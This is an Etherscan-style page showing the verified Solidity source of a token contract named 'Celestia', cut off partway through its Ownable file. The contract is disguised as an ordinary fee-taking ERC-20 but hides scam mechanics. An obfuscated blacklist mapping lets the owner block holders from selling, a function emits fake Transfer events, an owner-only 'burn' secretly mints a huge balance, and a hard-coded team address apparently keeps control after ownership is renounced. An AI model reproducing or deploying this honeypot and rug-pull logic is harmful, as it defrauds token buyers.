ETH Price: $2,413.02 (-0.14%)

Token

(0x046bbe76bd9b1ec7ebd11a4f5a9be0267bf16505)
 

Overview

Max Total Supply

10,000,000,000 ERC-20 TOKEN*

Holders

77 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
jofe.eth
Balance
56,286,834.969737988 ERC-20 TOKEN*

Value
$0.00
0xb78994cb15815d77a0320dbe8196f113043e70d1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Celestia

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: Celestia.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract Celestia is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) public frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("Celestia", "CELESTIA") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 10000000000 * 1e9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function execute(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function taxSwapThreshold(address recipient) external view returns(bool){
        return frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 2 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 3 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 4 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = 0xd52BAf620cAc99926BeA4033380Fcf14405296D7;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
